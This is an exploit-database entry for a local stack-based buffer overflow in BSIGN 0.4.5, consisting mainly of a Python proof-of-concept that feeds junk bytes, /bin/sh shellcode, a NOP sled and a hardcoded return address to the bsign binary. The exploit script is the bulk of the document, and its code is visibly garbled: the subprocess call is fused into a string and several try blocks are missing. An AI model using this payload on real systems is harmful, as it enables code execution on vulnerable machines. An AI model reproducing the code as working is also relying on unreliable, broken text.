BSIGN 0.4.5 - Buffer Overflow Exploit

ID 1337DAY-ID-24153
Type zdt
Reporter Juan Sacco
Modified 2015-08-28T00:00:00


Exploit for linux platform in category local exploits

                                            # Exploit Author: Juan Sacco - <[email protected]>
# Program: bsign - embed and verify secure hashes and digital signatures
# Tested on: GNU/Linux - Kali Linux 2.0
# Description: BSIGN v0.4.5 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
# Vendor homepage:
# Kali Linux 2.0 package: http.kali.org_kali_dists_sana_main_binary-i386_Packages
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980
import os,subprocess
def run():
    print "# BSIGN v0.4.5 Stack-BoF by Juan Sacco"
    print "# Wasting CPU clocks on unusable exploits"
    print "# This exploit is for educational purposes only"
    # Basic structure: JUNK + SHELLCODE + NOPS + EIP
    junk = "\x41"*8
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*248
    eip = "\x10\xd3\xff\xbf"["bsign -f",'-f ', junk + shellcode + nops + eip])
  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "BSIGN not found!"
        print "Error executing exploit"
def howtousage():
  print "Sorry, something went wrong"
if __name__ == '__main__':
    print "Exploit BSign 0.4.5 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:

# [2018-02-16]  #